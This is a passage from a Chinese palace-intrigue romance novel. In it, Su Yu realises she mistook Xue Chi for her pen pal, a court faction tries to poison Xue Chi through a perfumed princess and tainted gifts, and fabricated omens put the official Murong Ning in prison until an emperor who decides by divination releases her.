仔细想来,那天与薛迟在东山相见之后,她就脑子发热,一头扎了进去。 在一起这么久,薛迟从来没有说过,两年来的书信往来,她也从来没向薛迟求证过。 甚至她常给薛迟写信,从来没有收到回信,她都没怀疑过。 薛迟的性格,哪里像是会看话本的,别说自己动手改良点心,只怕厨房门朝哪都不知道。 屋子里一应摆设全无,性格板正,不能说毫无生活情趣。与信上那个热爱生活,风趣幽默的笔友完全就不一样。 还有慕容宁对薛迟的评价,与笔友完全就是两个人。 种种迹象早己表明,她搞错了人。 她却鬼上身一样,认定薛迟是笔友,交往了这么久,竟然没有一丝怀疑。 她的聪明,她的理智,在遇上薛迟时好像都消失了。 “什么错了?”绿川不解。 苏钰没有回答,只是自言自语说着,“我也不知道,这到底算什么。” 她对薛迟的感情,缘于第一面,类似一见钟情。 在她犹豫之时,薛迟出现在她与笔友约定相见的现场。 那瞬间的狂喜,她到现在都还记得。 她认定薛迟与她心意相通,认定与薛迟的缘份早己注定。 她所有的感情都有了着落,她的爱意,她的热情全部涌向了薛迟。 然后现在告诉她,她弄错了人。 薛迟不是她的笔友,她的笔友是谁,不知道。 那天为什么会失约,也不知道。 心情茫然之余,又多了一份感伤。 原来薛迟对她的感情,并没有她想的那么深。 *** “三太太,老太太请您晚饭后过去一趟。”婆子进门传话。 关氏正翻着帐本,听婆子如此说,便道:“我准时过去,老太太可有什么吩咐?” 谷夫人免了早晚请安,从来不要儿媳妇过去侍侯。回府这么久,还是第一次召她过去。 “奴婢不知。”婆子说着,“老太太还传了三老爷。” “我知道了。”关氏说着。 不知道是什么事,关氏也没太在意。 谷夫人这个婆婆,心如明镜,凡事都看的明白,也不折腾晚辈,非常好侍侯。 眼下重要的是,叶氏的家书,苏辰找到了,二房想搬回来国公府住。 “该有的丫头婆子,全部按照国公府的旧例按排好。房舍虽然不用翻修,但家具还是要换的,一应阵设,全部要最好的。”关氏吩咐管事媳妇。 二房寻回丢失的女儿,是大喜事。 叶氏与苏天华正式合好,搬回国公府,更是喜上加喜。 自己这个管家太太,若是这点事都料理不好,会惹人笑话不说,也不利于妯娌之间的感情。 当年新妇刚进门时,叶氏还没搬走,加上慕容宁,与关氏,三人做了许久的妯娌。 当年是慕容宁管家,叶氏脾气爽利,做为妯娌来说,十分好相处。 后来慕容宁改嫁,叶氏搬走,国公府也渐渐安静下来。 十年过去,夫妻和睦,女儿寻回,终于圆满了,关氏也为叶氏高兴。 “太太放心,我定然安排的妥妥当当。”管事媳妇说着。 “一定要快,估摸着二房也要回京了。”关氏说着,又叮嘱着,“还有,二房回来之后,所有开销,另外重新立个帐本,把二老爷的开销一起并入。” “二姑娘刚寻回来,衣服首饰全部都要做新的,闺房比着大姑娘的住处,不能有丝毫马虎。” 交代完二房搬回来之事,又处理了几件家事,就到了晚饭时间。 关氏吃了晚饭,换了衣服坐车去乐道堂。 她前脚刚到,后脚苏天佑就来了。 “你们坐吧。”谷夫人直入正题,“二太太写了信来,你们也看看吧。” 刘顺家的拿着两封信,一封是原版,一封是丫头抄的。 原版的给了苏天佑,抄的那份给了关氏。 关氏好奇接过来,一目十行,捏着信的手,几乎要抖了起来。 杨云娘,又是杨云娘。 杨阁老过世的时候,她最担心就是,杨云娘进京奔丧。 只要她进京,肯定会跟苏天佑见面。 她和苏天佑虽然早己分居,婚姻毕竟还是在的。 但杨云娘守寡进京,苏天佑会不会像苏震岳和苏天翊当年那样,强行休妻就不得而知了。 那么多年了,杨云娘为什么就阴魂不散。 “我要去直隶,接她们娘俩进京。”苏天佑说着,恨不得连夜去直隶。 他一直以为杨云娘生活的很好,丈夫疼爱,儿女双全。 最后一次见面时,杨云娘就是这么对他说的。 过去种种皆成云烟,大家都要向前看,不为自己也儿女,各走各路,各自安好。 十几年过去了,现在告诉他,这些年杨云娘过的并不好,丈夫早亡,只有她们孤儿寡妇,被欺负到无家可归的地步。 这让他如何坐的住,青梅竹马的情义,是他对不起杨云娘。 亲口许了终身,却终负了她。 “你坐下。”谷夫人语气沉重。 要不是接到叶氏的信,她也不知道自己的养女过的如此辛苦。 “母亲,云娘是你抚养长大的,她现在无家可归,你不管吗。”苏天佑说着。 “我己经打发人去了直隶,她们娘俩会跟你二哥二嫂一起进京,并不需要你跑这一趟。”谷夫人说着。 苏天佑愣了一下,这才清醒过来。 谷夫人特意叫他过来看信,自然是己有安排,而不是单纯告诉她,杨云娘在受苦。 “邑哥儿喜欢云娘的女儿采蓝,二老爷和二太太也觉得采蓝好,想结这门亲。”谷夫人说着,目光落到关氏身上,“我也觉得挺好。” 关氏脸色苍白,几乎要到坐不住的地步,强撑说着,“老太太既己有决定,又何必叫我们过来。” “我没打算跟你们商量。”谷夫人说着,看一眼关氏又看向苏天佑,“现在是告诉你们,我的决定。” 当年把杨云娘一个孤女远嫁,谷夫人心中很是不舍。但没有办法,把杨云娘留在京城只会带来更大的祸患。 十几年了,杨云娘一个孤女在外,虽有家书,但几年一封的书信,如何能让一个母亲安心。 尤其是杨阁老病重发丧,杨云娘都没回京,谷夫人虽然没提过,总是揪心。 现在叶氏来信,说了杨云娘的状况,她当时就有决定。不管关氏怎么想,她都决定接杨云娘母女进京安置。 “我有一处四进的宅子,是我的私产,离国公府不远,我己经吩咐人去收拾整理。云娘和采蓝进京后,就住在那里,一应事务我会安排。”谷夫人决定把话给苏天佑和关氏说明白。 “我会把宅子的地契给云娘,将来采蓝出阁,我也会从私房里拿钱给她添妆。” 杨云娘是她的养女,姓杨不姓苏。在国公府小住几天可以,常住却不合适。 她的私产不少,可以自由支配。就是将来留给养女,别人也说不出什么来。 只是给了养女,苏天佑自然就少得一份。 事关财产分配,不管关氏在意不在意,她都得把话说清楚了,免得以后有争执。 苏天佑对于财产之事从来不在意,“听凭母亲安排。” 第104章 第 104 章 “我听船行的老人…… “我听船行的老人说, 以皇宫对标点,红莲湖正在玄武的位置。这么多年来,红莲湖从来没有闹过怪事,是因为玄武沉睡湖底, 直隶才能风调雨顺。”程喻说着。 直隶的那个拜鱼教越搞越玄学, 也可能是气氛起来了, 各种传说也出来了。 苏钰听着, 有些心不在焉的模样,“对应玄武位, 这倒是没想到。” 程喻看出苏钰有心事,试探性问着,“是不是我搜集到的线索太少,耽搁了姑娘的安排?” “与公子无关。”苏钰说着,“这些天来, 辛苦公子了。” 程喻找到的证据许多,虽然以人证为主,她己经把资料整理, 全部送回京城。 “姑娘即有事, 我就不打扰了。”程喻说着。 苏钰也没留他, 只是道:“有任何线索,程公子一定要来告知。” “一定。”程喻说着。 绿川送程喻出门, 程喻是骑马来的, 门口小厮把程喻的马牵过来,程喻道了声谢,接了缰绳骑马离开。 刚走到路口处,却被叫住了,“程公子。” 程喻抬头看去, 竟然是恒王世子,身侧还跟着一个年轻男子。 “见过世子。”程喻连忙下马,拱手说着。 恒王世子身侧的男子,正是陈平,笑着问,“程公子这是打哪来啊?” “从苏家来。”程喻如实说着。 果然是去找苏钰了,陈平觉得他得跟程喻聊聊,笑着说,“此处相遇就是有缘,不如找个地方喝一杯。” 恒王世子愣了一下,他和陈平是有事要办的,突然间要与程喻一起喝酒,这不在计划中。 但对于京城晋阳长公主府来的贵客,恒王世子哪里敢得罪,笑着说,“我也正有此意,一起喝一杯。” 程喻满头雾水,但恒王世子相邀,他也不好推辞,“恭敬不如从命。” 恒王世子请客,自然是最好的地方。 要不是陈平拒绝的够干脆,陪客的歌伎都要坐腿上了。 “说起来程公子得先敬我一杯,我这趟来直隶可是为了公子。”陈平笑着说。 程喻一脸不解,恒王世子笑着解释,“这位陈平陈大人来自京城晋阳长公主府,为的就是郑家脱籍之事。” 陈平手持晋阳长公主府的信物,敲开恒王府的大门。 恒王爷是一点不敢怠慢,听陈平说了来意,热情招待之余,心中还有点诧异。 给官奴脱籍,对恒王府来说是大事,但对于晋阳长公主府这种实权派皇族,小事一件,写封文书的事,都不需要派人来。 程喻连忙起身,拱手向陈平道谢,“陈大人大恩……” 说着就要跪下。 陈平连忙起身扶住程喻,拉着程喻坐下,笑着说,“程公子谢错人了,我是奉薛大人之命前来。” 恒王世子在旁边解释:“晋阳长公主的独子,薛迟薛大人。” 程喻欲再谢,陈平拦住他,笑着说,“薛大人也是受了未婚妻之托,你们在直隶不知道,苏钰苏小姐早与薛大人有婚约。” 说话时,陈平格外看着程喻。 苏钰是有婚约的,千万别多想,把所有不该有的念全消了。 程喻没什么反应,在他看来,苏钰这样的千金小姐肯定嫁给门当户对的公子哥。 他心里是拿苏钰当恩人看的,希望恩人好,恩人事事如意。 倒是恒王世子一脸惊讶,嘴快惊呼出来,“苏小姐有婚约?那天我还在丽春院看到她,一身男装,还召了花魁陪酒。” 程喻连连给恒王世子使眼色,这是能说的吗,多这个嘴干嘛,不会说话就把嘴缝上。 “召花魁陪酒?” 陈平嘴巴长的都合不上了,不是吧,苏钰还喜欢女人? 这,自家主人的情敌会不会太多了。 “我胡说八道的,自罚三杯。”恒王世子自知说错话了,连忙喝酒。 陈平笑着道:“这肯定有误会,这里没有外人,世子说说就罢了,若是说到外头去……” “大人放心,我若是再敢乱说,罚我醉死在这里。”恒王世子笑呵呵说着。 陈平也笑,却是道:“那就割了舌头吧。” 恒王世子当即不敢再言语。 气氛有瞬间的冷场,歌伎们上前倒酒,陈平看着恒王世子道:“这酒味道不好,换一壶吧。” 恒王世子愣了一下,连忙吩咐身边的小厮。 程喻跟恒王世子打过交道,深知不把话说明白,他听不懂,小声提醒,“陈大人应该是有话跟我说。” “哦,哦,那我走。”恒王世子连忙说着,起身就往外走。 恒王世子走了,程喻挥手让雅间里服侍的歌伎退下,屋里只剩下陈平和程喻两人了,程喻这才站起身,要给陈平倒酒。 陈平连忙拦住他,语气真诚,“使不得,使不得。我支开世子爷,是想问公子,有没有进京的打算?” “进京?”程喻愣了一下。 陈平道:“郑家脱籍之事,还需要进京一趟料理手续后续,郑家都是女眷,与我同行不太方便。还有进衙门走手续,女眷也不方便。” “在下愿意。”程喻马上说。 为了郑家脱籍,他己经奔波四年,现在终于看到希望。代郑家女眷进京,料理后续,本就是他份内之事,当然要去。 “我己经拟定这个月底进京,公子现在所居何处,走前三天,我派人给公子送信,我与公子同路进京。”陈平说着。 离京时,薛迟交代,把程喻带回京城。 陈平对原因十分好奇,却不敢询问。 主子吩咐,他照办即是。寻个理由忽悠程喻进京,小事一件。 程喻说了住处,又询问进京所需要的文书手续。 陈平随口说着,很快又把话题扯到薛迟身上,“薛大人听说郑家之事,十分气愤,着令我亲自来直隶,务必妥善处理。进京之后,程公子可别忘了拜谢。” 这份人情是欠薛迟的,千万别找苏钰报恩。男女之间,不管是有恩还是有仇,都不合适。 “这是自然。”程喻说着,“薛大人与我是再生父母。” 陈平笑着又说,“还有一事,程公子别嫌我多嘴,我也是提醒公子。薛大人性格严肃,素来不喜玩笑,格外看中苏姑娘,两人又将成亲。京城不像直隶,规矩众多,尤其是男女大妨。” 说着,陈平格外看着程喻。 程喻这才反应过来,连忙解释,“大人误会了,苏姑娘是……”让他帮忙搜集假湖怪的证据。 不能说,苏钰特意叮嘱过。 “我与苏姑娘清清白白,绝无任何男女之情。是我不知礼数,总是打扰苏姑娘,以后不会了。”程喻说着。 陈平笑着说,“公子别太紧张,我只是提醒一句。苏姑娘行事不拘小节,凡事也不太留意,公子多留心些。” “多谢陈大人提点,在下记住了。”程喻说着。 *** 一波又一波的赏赐送到晋阳长公主府,全是关太后所赏。 昭华公主府己经在选址,就在晋阳长公主府对面,原本是处官邸,稍加改造就可使用。 关贵妃承诺爱女,再有两个月,她就可以嫁给自己心仪之人。 “薛哥哥,你记得吗,小时候我们经常一起玩的。”昭华公主围着薛迟转,难得有机会,薛迟肯见她。 薛迟神情淡然,径自看着卷宗,好似没看到昭华公主。 “薛哥哥,你看看我。”昭华公主说着,就去抢薛迟翻看的卷宗。 薛迟这才抬头,“你宫里的小宫女,只因为打碎一个杯子,就被你杖毙。” 昭华公主皱眉,全然不当回事,“一个奴婢而己,薛哥哥何必理会。” 薛迟没作声,闻到一股异香,正是来自昭华公主身上,“你带香囊了?” 昭华公主笑着道:“薛哥哥闻到了?好闻吗?” 说着,昭华公主靠近薛迟,“这是皇祖母赏赐的香膏,知道我要来见薛哥哥,特意叮嘱我沐浴涂抹香膏后再来见你。” 送香膏的姑姑还暗示她,男人经不起诱惑。 反正两人都要成亲了,早一天圆房也没什么。 尤其是现在,苏钰不在京城,趁着这个机会拿下薛迟。 等到苏钰回京,万一再有变故,于婚事不利。 “不好闻,很臭。”薛迟说着,用内力震开昭华公主,态度十分强硬。 昭华公主差点摔倒在地上,十分委屈,脾气上来了,“我要告诉皇祖母,你这么对我。” 薛迟起身从书柜上拿出一个包裹严密的画轴,“这个送你,当做陪礼。” 意外之喜,让昭华公主十分高兴,这还是薛迟第一次送她礼物,连忙接过来,“谢谢薛哥哥。” 说着就要打开,薛迟道:“回去再看吧,我还有事,你回宫吧。” “薛哥哥!”昭华公主生气。 薛迟道:“你身上的味道实在难闻,我闻不得,你下回再来,不要再乱擦香膏。” 昭华公主没想到这个原因,脸上有些讪讪的,薛迟看着温和,其实她有时候也挺怕他的。 “那我改日再来看你。”昭华公主说着,拿着画轴依依不舍得离开。 看着昭华公主离开书房,彻底走远了,薛迟微微闭眼,轻声说着,“出来吧。” 一名老者从东梢间的暗格里出来,手里拿着一包药草,赶紧放到香炉里,顿时满屋药味,隐约带着恶臭。 老者走到薛迟身侧,“请大人伸手,我给大人把把脉。” 薛迟伸出左手,老者搭脉,“幸好时间短,再闻一会,只怕毒素就要入体了。” 昭华公主身上涂的香膏有毒,她能坚持到现在,应该是提前服下了解药。 这香膏除了毒性剧烈外,还含有春药成份,要是薛迟受不了刺激与昭华公主激情一番,就是抢救及时不当场毒发身亡,也得去半条命。 这种下毒方式,阴狠又恶毒。 说起来还是薛迟料事如神,每回昭华公主过来,只在前书房接待。又吩咐他躲到暗格里,闻到不对,马上给他暗号。 这回也是一样,幸好薛迟赶紧把昭华公主打发了,不然再闻一会,真要出事。 “劳烦老先生了。”薛迟说着。 老者笑着说,“大人客气,能为大人效劳,是我之幸事。” 屋里气味越发难闻,薛迟起身往外走,老者也跟着出来,又吩咐屋里的小厮,也是他的药僮,后续如何处理。 薛迟去了薛驸马正房,晋阳长公主也在,夫妻俩正在商量对策。 府里的大夫刚把宫中赏赐检查一遍,大部分东西没问题,少东西部分有毒。下在非常不起眼之处,若是长期接触必然中毒身亡。 晋阳长公主吓坏了,薛迟吩咐大夫检查时,她还觉得薛迟过份谨慎,直到真查出来。 “以后但凡宫中所赐,全部放到一个院子里。”薛迟说着。 大夫也会有走眼的时候,丢掉会被治大不敬之罪。既然是恩赐,那就好好贡起来,任谁也挑不出错。 “是该如此。”薛驸马说着,“我己经加强了府内守卫,保证一只苍蝇都飞不进来。” 自从薛迟入府之后,晋阳公主府的守卫堪比皇城。 随着薛迟年龄的增长,薛驸马更是不敢大意,不管是身边的护院小厮,还是屋里侍侯的丫头婆子,都是千挑万选,绝对忠心。 老师更不用说了,薛迟也争气,不管是学文还是学武,都十分努力。 尤其是薛迟的武艺,让薛驸马很放心,再加上府内的安保,足以应对各种暗杀。 现在关太后直接在赏赐中下毒,不管她是不是要撕破脸,公主府该做的准备都得先准备上。 薛驸马当了这么多年羽林军老大,显庆皇帝的铁杆心腹。当年他接下薛迟时,就有豁命的觉悟。 晋阳长公主显得有些慌乱,因无外人在,直言说着,“我本以为太后只是起疑,用婚事试探。皇上为了打消太后疑虑,才不得己答应婚事,借机拖延。” 她想的很简单,关太后怀疑薛迟身世,借着昭华公主喜欢薛迟,借机试探。 要是薛迟真是皇子,必然不能与昭华公主成婚。 若是压力之下成了亲,兄妹丑事,显庆皇帝也不敢再认回薛迟。 不被皇帝承认的皇子,自然也就没有继承权,无法与三皇子争皇位,薛迟这个皇子就算废了。 至于完全不知情的昭华公主,关贵妃也许舍不得女儿,关太后肯定舍得孙女。 “刚才昭华公主把毒涂在身上来见我。”薛迟说着。 以昭华公主的个性,必然不知情。 关太后如此安排,就是给昭华公主服了解药。但以毒性来说,要是他没忍住与昭华公主有肌肤之亲,两人必然一同毒发身亡。 晋阳长公主脸色难看,薛驸马却不意外,“太后可是连亲生女儿都舍得。” 那是几十年前的往事,先皇活到成年的皇子共有三名,显庆皇子为幼子,生母出身低,年龄又小,皇位怎么都论不到他。 当时的太子是先皇的长子,出身高贵,性情温和,不但先皇喜欢,朝臣也都喜欢。 成年后册封太子,当时的先皇身子己经不好,太子协理朝政,己经在为登基做准备。 这个时候,太子突然与关太后所出的安阳长公主出了丑事。 两人在元宵节幽会,甚至行苟且之事被先皇抓个正着。 太子一直坚称是被下了药,但与亲妹发生丑事,精神大受打击,没多久就自尽了。 安阳长公主自那天之后,就精神不太正常,后来彻底疯了,一直疯到现在。 太子自杀,皇位轮到关太后所出的二皇子。 当时都觉得二皇子肯定能册封太子,为了给二皇子铺路,先皇把当时还是德妃的关太后册封为皇后。 谁都没想到,关太后被册封为皇后不久,二皇子因一场风寒丢了性命。 先皇连失两子,女儿也不正常了,大受打击,没多久去世。 这才有显庆皇帝幼子登基,关太后摄政。 前太子之死,本来没人怀疑关太后,因为安阳长公主是她的亲生女儿。 但就关太后执政后的表现,薛驸马对当年之事产生了怀疑。 关太后为了权势,心狠手辣起来,那是真不是人。 关太后到底什么时候对薛迟身份起疑的,这个不好说。 别人起疑会先找证据,关太后不会,她会先动手,宁愿杀错不会放过。 只是公主府防范太严,薛迟本人也十分警觉,让暗杀无从下手。 现在用昭华公主一换一要薛迟的命,关太后干的出来。 “她急了。”薛迟说着。 第105章 第 105 章 “玄武翻身,凤凰…… “玄武翻身, 凤凰与飞,天下乱象,始于庚申。” 突然兴起的歌谣在京城传唱,除了直隶的湖怪, 南方某地有怪鸟飞出, 据在场之人形容, 就是凤凰出世。 接连两起神兽出世的大事件, 京城孩童歌谣传唱之时,上层也为之震荡。 “最近京城死那么多人, 晚上走夜路都怕。这个时候神兽出世,真是喜事吗,我总感觉会有大灾。” “六部大清洗,杀到血流成河,慕容宁也不怕自己遭报应。” “你小声点吧, 自己想死别连累我。慕容……那是能说的吗,我听到这两个都打哆嗦。” 各种议论之中,钦天监监正在初一的早上, 以诡异的死法死在午门。 监正尸体旁边还留有一封血书, 以死誎天子。 慕容宁造下滔天杀孽, 人怨不可怕,更可怕是的天怒。 天下乱象, 始于庚申。 庚申的解释有很多种, 其中,庚申从方位上看正是西北。 午门是上朝的必经之路,有官员死在这里,顿时朝野震惊。 弹劾慕容宁的奏折如雪片般飞向显庆皇帝,就连原本支持慕容宁的官员, 也开始改口。 显庆皇帝明显慌了神,当即宣布彻查的军需案停止,收监官员无罪释放,慕容宁下狱。 当天晚上,从狱中出来的官员,自己家都顾不上,先来了关楚河家中。 “关大人料事如神,有您在,就是我们的定海神针。” “是啊,全都靠大人。” “您让我们按兵不动,原来是早有计划,慕容宁一个外族女子,哪是大人的对手。” “慕容宁滥杀无辜,早就天怒人怨,我等这就写奏书,一定要她死在狱中。” 一直闭目养神的关楚河睁开眼,“不要做多余的事。” 建议的官员愣了一下,刚想询问原由,就被同伴拉了拉袖子。 关楚河明显心情不佳,他说什么就是什么,哪里还敢问原由。 “谨遵大人吩咐。”建议的官员说着,其他人也紧跟着一起说。 显庆皇帝的儿子都快成年了,但朝堂却是关太后的朝堂。这些年来,显庆皇帝不管怎么折腾,都是关太后赢。 杨阁老活着时,还能和个稀泥,他死了后,朝廷上太后势力开始抬头。 慕容宁出任监察寮正使,虽然是一部好棋,但此局即破,慕容宁也就不足为惧了。 “诸位大人也辛苦了,回去之后,好好休息。”关楚河说着。 直言送客,众人也不敢再留,赶紧告辞离开。 等所有人都走了,关楚河终于站起身来,天早己黑透,府内灯火通明,这也是关楚河的癖好。 他喜欢光亮,不喜欢黑暗。 “备车。”关楚河说着。 慕容宁下是刑部天牢,按规矩她既是官员,该下大理寺的牢房,奈何大理寺卿怂了。 对于慕容宁,就是现在下狱了,大理寺卿也怕。 刑部被慕容宁折腾的太惨,除了刑部尚书,连侍郎都没好,现在她倒霉了,刑部抢着要关慕容宁。 “关大人。”刑部尚书迎了上来。 早有人传信给他,关楚河要来天牢审讯慕容宁,刑部尚书不敢怠慢,早早站在天牢门口等着。 关楚河从车上下来,并不理会他。 刑部尚书马上道:“看我这个嘴,应该是关阁老是才是。” 杨阁老死后,阁老之位一直空悬,这回事后,关楚河必然是新任阁老。 关楚河脸色一变,看向刑部尚书,“不会说话,就把舌头割了。” 刑部尚书变了脸色,赶紧跪下,“下官失言,请大人海涵。” “前头带路。”关楚河说着。 刑部尚书不敢再言,老实前头带路。 虽然刑部上下恨透了慕容宁,却不敢怠慢了慕容宁。 毕竟苏略还在京城,李家死的那一百多口,现在还没查出来凶手是谁。 一重重牢门,慕容宁被关在刑部大牢最底层,单人单间,一日三餐不敢怠慢。 “慕容宁,有客来防。”刑部尚书对着牢房喊了一声。 随即吩咐手下,抬来一张椅子,请关楚河坐下。 关楚河落座,座位正对着牢房。 只见牢房之内,慕容宁盘腿坐着,神情淡然自若,“关大能来看我,我该道声谢,这人情我还不了。毕竟将来你若落难,只怕是当场人头落地,连坐牢的机会都没有。” “大胆!”刑部尚书呵斥着。 关楚河挥手示意刑部尚书退下,看着慕容宁,并不生气,只是说着,“外族质子,嫁得如意郎君,生儿育女,本可以在京城过完幸福的一生。” 苏天翊和慕容宁和离的原由,一直都是秘密。 就是苏天翊负了她,改嫁楚王爷,也可以富贵一生。 “生儿育女,富贵荣华就能幸福吗?”慕容宁看着关楚河,“若是能,关太太就不会成为圣和师太。” 夫荣妻贵,在关楚河成为楚家家主,最风光的时候,老婆出家了。 幸福是什么?没人能够定义。 关楚河脸色骤然变了,身上的戾气几乎压不住。 这么多年了,没人敢在他面前提起此事。出口即为嘲讽,“你知道自己为什么会落得如此下场吗?” 慕容宁沉默。 “什么都不知道,却掺和到这滩浑水里。”关楚河说着,“慕容宁啊慕容宁,你以为你做了这把刀,杀了这么多人后,你走得了吗?” “总是要试一试的。”慕容宁说着,“半生如棋子,生死皆不由我,至少此时此刻,是我自己的选择。” 关楚河笑了,“毕竟是质子,命比普通人金贵。你有个好弟弟,十分在意你的生死。” 提到慕容弦,慕容宁眼眸微垂,却是沉默不语。 “你还给苏天翊生了个女儿,为了女儿,他也不会让你死。”关楚河继续说着。 慕容宁依然沉默,关楚河也不指望她说出什么,权力之争,没什么好审的。 “好好当你的楚王妃,慕容弦保不了你第二次。” 话完,关楚河起身离开。 从天牢出来,关楚河整理心绪,坐车回府。 马车刚驶到转角处,停了下来。 “大人,是苏家大爷。”车夫说着。 关楚河并不意外,“那就见吧。” 车夫打起车帘,关楚河看过去,只见苏略一人一骑,正要拐弯,与马车撞个正着。 “关大人。”苏略微笑。 关楚河看着苏略,“夜半相遇,若不细看,我还以为遇到了苏天翊。” “这句话我喜欢。”苏略说着,“大人去看过慕容宁了。” 这条命的尽头就是刑部天牢,能让关楚河夜半去看的,也只有慕容宁。 关楚河道:“慕容宁也算是你的养母,直呼其名似乎不妥。” “早己不是。”苏略说着,语气中带着嘲讽,“关大人亲去直隶制造祥瑞,又编造歌谣,用所谓的不祥之兆,把慕容宁打入了天牢,高名啊。” 玄武也好,凤凰也罢,全是假货。 至于传唱的歌谣,也是关楚河让人编的。 只有死的钦天监监正是真的,也不算太糊弄,好歹死个人。 要不是苏钰送来的证据,他都没想到关楚河会搞这一出。 “不管什么原由,成王败寇,苏天翊没教过你吗。”关楚河说着,“你该想想,怎么样向苏天翊交代。” “父亲对这些并不在意,若在意,你没机会。”苏略说着,“而且关大人动作太慢,六部该死的也死的差不多,做为一把刀,慕容宁是成功的。” 审理结果不重要,判刑动刀最重要。随便审审,认真杀人。 虽然没有达到预期,但己完成了三分之二,六部大清洗,关家想再塞人,只是培养就是得花点时间。 “目的达到即可。”关楚河说着,示意车夫放下车帘。 苏略笑着道:“关大人,请了。” 说着,骑马退到一侧,让关楚河的马车先通行。 马车缓缓前行,关楚河闭目养神。 慕容宁这一局输的有点冤,或者说他能赢,也有点运气加成。 当然,若是此番计划不如预期,他还有后手。小喽啰们死了就死了,新人更好使唤,只要尚书们还在掌握中,就损失不大。 太后慑政历朝皆有,但皇帝成年后,太后依然不放权。皇帝只要稍微像点样,都可以把非亲妈的太后从权力的王座拉下来。 非亲生母子,许多事情做起来不需要顾忌。 关太后能与显庆皇帝斗了这么久,关太后手段阴毒狠辣,百官惧怕是一方面。 更重要的原因是显庆皇帝无能又奇葩,做事摇摆不定,又莫名其妙的心软。 投靠皇帝的臣子,往往得不到庇护,随便就被皇上放弃了。 而关太后对身边人是很好的,只要够忠心,高官厚禄全部都有,对手下人十分庇护。 又因为显庆皇帝莫名的心软,哪怕是太后的死忠,哭一哭求一求就放了。 一边是莫名其妙,投靠也得不了好,得罪也很大可能被赦免的皇帝。 一边是手段强硬,不投靠就得死,得罪就会被杀全家的太后。 正派一点的,像杨阁老那种,就是和和稀泥。稍微对权势有点想法的,都知道要跟着关太后。 显庆皇帝会如此摇摆不定,是因为他有一个奇葩之处。 迷信,迷的又十分奇怪。 薛驸马做为显庆皇帝身边唯一的死忠,至今屹立不倒。是因为显庆皇帝找人算过薛驸马的八字,特别旺他不说,还非常忠心。 更让人觉得不可思议的是,当年选秀。 所有人都说,显庆皇帝是对程皇后一见钟情,才顶着关太后的压力,坚持立她为后。 真相是,显庆皇帝微服出巡,拿着入选秀女的八字,在宫外找一个很出名的算命先生看八字。 算命先生先看了关贵妃的八字,说是贵命,将来必生贵子。但是夫妻刑克太重,最好当偏房或者妾室。 最后看的是程皇后的八字,当即惊呼说是难得的贵命,旺夫旺子,唯独不旺自己。可娶为正室,子可以承家业。 就因为算命先生的批命,显庆皇帝坚持立程皇后为后。 大婚之后,显庆皇帝觉得万事顺遂,对程皇后也很好。 少年夫妻,感情也许有,但程皇后都过世这么多年了,剩下的也不多。 保护皇城的羽林军,皇后,这等重要人物,全靠算命批八字来决定。 朝廷大事更不用说了,国事如儿戏,全靠摇卦决定,这就是显庆皇帝。 关太后虽然手段过于狠辣,但她慑政至少保证了朝廷的正常运转,对内对外,没搞出太多奇葩。 针对显庆皇帝的特点,从他在意之处下手,效果奇佳。 当然,能如此顺气,运气也占了很大比重。 估计是显庆皇帝算出来的结果,是慕容宁不吉利,或者他大吉。 因卦象而摇摆,突然叫停某件大事,显庆皇帝不是第一回干。 己经这么多年了,显庆皇帝要是能赢关太后,早就赢了。 拖到现在皇帝还处于劣势,是真的赢不了。 *** “回京?” 苏钰愣了一下,有些意外,又觉得情理之中。 不知不觉得来直隶三个月了,苏辰己经找回,叶氏的病也好。 谷夫人己派人来直隶,杨云娘己答应一起回京,程采蓝和苏邑的婚事也在商量了。 最初目的己经达成,又有意外之喜,确实没有留在直隶的必要。 “钰姐儿不想回吗?”叶氏笑着说。 苏钰摇摇头,笑着说,“离京许久,都有些乐不思蜀了。” 要是放在以前,回京城肯定能让她高兴。 但现在…… 她突然有点不知道要怎么面对薛迟。 叶氏笑着说,“明天我们去跟老太太,二叔公告别,小子们收拾东西,若是天气好,三天后启程。” “好,听二婶安排。”苏钰笑着说。 从叶氏屋里出来,苏钰回房后,先吩咐绿川收拾东西,又想到程喻。 给郑家脱籍之事,陈平亲自来直隶办理,不可能办不好。 但她现在要走了,总要问一下,给程喻交代一下。 说起来,程喻也好久没来了。 本想吩咐管事跑一趟,苏钰又担心管事说错话,叫来绿川,“你跑一趟,问问郑家目前的情况。” 绿川笑着道:“陈大人就住在恒王府别院里,姑娘想问什么,叫他问岂不是更好。” “我不想见他。”苏钰说着。 绿川不敢多言,“那那我明天早上坐车过去,姑娘放心,我一定问的清楚明白。” 第106章 第 106 章 一连三卦,皆是大…… 一连三卦, 皆是大凶。 显庆皇帝很烦燥,他亲自卜的卦,亲自解的卦,自然不会有错。 迷信了这么多年, 显庆皇帝最开始是请人算卦。 后来就自己算, 自己算出来的, 就不存在有人利用算命先生忽悠他。 至于是否算的准, 真龙天子算卦,岂有不准的。 “三个大凶, 难道真如童谣所说,乱世始于庚申。钦天监也说,杀戳过盛,必有祸患,我真的错了吗?”显庆皇帝自言自语着。 这么多年来, 占卜从来没有出过错,每次都应了卦象。 但慕容宁办的差事,是他点头的。 做为一个皇帝, 臣子忠心办事, 并无差错。现在办到一半, 天意指示此事不妥。 若因此治罪臣子,似乎也不妥。 “皇上, 薛驸马和薛大人来了。”大太监刘安上前说着。 显庆皇帝把算卦的龟壳收起, 脸上有几分喜色,“宣。” 片刻后,薛驸马和薛迟进入养心殿,刚进下跪行礼,显庆皇帝就挥挥手, “免礼,这些俗礼我素来不喜。” 两人深知显庆皇帝的脾气,也没坚持。 “启禀皇上,臣要状告关楚河。”薛驸马说着,“他在直隶制造假湖怪,这些都是证据。” 苏钰在直隶搜集到的证词证物,以及暗探补充的部分,全部摆在显庆皇帝面前。 显庆皇帝看着证据,顿时大怒,“好一个关楚河,这种事情上也敢造假,就不怕上天惩罚吗。” 薛驸马道:“玄武之事为假,凤凰之事未必是真的。慕容大人冤枉,还请皇上明察。” 显庆皇帝正想为慕容宁开脱,薛驸马的话说到他心坎上,道:“我也觉得冤枉了她,在审的官员己经放了,慕容宁也放了吧,让她回楚王府去,禁足,不准出府。” 饶是薛驸马十分了解显庆皇帝,对此处理方式也无语了。 那么大的案子,杀了那么多人,六部全部牵扯其中。 现在审到一半,因为几句童谣不审了,死了的就算了,没死的放出来接着上班。 主审官牢里呆几天,也不议罪,也没个说法,就放出来回家。 这何止是糊涂官办糊涂案,根本随心所欲,事如儿戏。 “皇上英明。”薛驸马说着。 显庆皇帝笑着道:“此事与你无关的,怎么如此关心,还找了这么多证据。” 薛驸马看一眼薛迟,笑着说,“这哪里是我找的,是苏姑娘担心母亲,寻来的证据。” 